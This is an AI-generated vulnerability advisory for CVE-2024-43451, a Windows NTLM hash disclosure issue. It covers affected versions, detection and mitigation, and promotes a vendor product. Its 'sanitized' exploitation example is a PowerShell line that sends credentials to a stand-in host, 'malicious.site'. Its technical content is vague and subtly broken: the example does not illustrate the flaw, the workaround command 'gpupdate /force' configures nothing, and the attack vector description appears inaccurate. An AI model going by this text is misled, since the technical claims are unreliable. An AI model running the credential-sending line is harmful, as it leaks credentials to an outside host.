CVE-2024-43451 Overview
The CVE-2024-43451 vulnerability is a spoofing issue that affects multiple versions of Microsoft Windows, allowing attackers to potentially disclose NTLM hashes through a crafted network request. This vulnerability poses a risk of information exposure, which can be leveraged in further attacks.
Critical Impact
Unauthorized disclosure of sensitive NTLM hashes may lead to credential theft and lateral movement within networks.
Affected Products
- Microsoft Windows 10 1507
- Microsoft Windows 11 22h2
- Microsoft Windows Server 2022
Discovery Timeline
- 2024-11-12 - CVE CVE-2024-43451 published to NVD
- 2025-10-28 - Last updated in NVD database
Technical Details for CVE-2024-43451
Vulnerability Analysis
The vulnerability is due to improper handling of network requests in certain unpatched Microsoft Windows versions. It allows attackers to obtain NTLM hashes by misusing the Network Logon process.
Root Cause
Inadequate validation of the network authentication process, leading to the unintended exposure of NTLM authentication hashes.
Attack Vector
This vulnerability can be exploited remotely by sending specially crafted network packets to a target system.
# Example exploitation code (sanitized)
Invoke-WebRequest -Uri "http://malicious.site/login" -Credential (Get-Credential)
Detection Methods for CVE-2024-43451
Indicators of Compromise
- Unrecognized outbound network traffic towards suspicious domains
- Unusual authentication attempts in Windows Event Logs
- Unexpected NTLM authentication traffic
Detection Strategies
Implement network monitoring to identify abnormal NTLM traffic patterns and unusual login attempts. Employ endpoint detection systems to flag suspicious outbound traffic and authentication anomalies.
Monitoring Recommendations
Utilize SentinelOne’s behavioral AI to detect and prevent unauthorized access and lateral movement associated with NTLM hash disclosures.
How to Mitigate CVE-2024-43451
Immediate Actions Required
- Apply the latest security patches from Microsoft
- Monitor network traffic for suspicious activities
- Implement enhanced security configurations for NTLM authentication
Patch Information
Visit Microsoft's advisory for patch details at Microsoft Security Response Center.
Workarounds
To mitigate this vulnerability until patches are applied, restrict outbound NTLM traffic using group policies or firewall rules.
# Configuration example
gpupdate /force
Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.
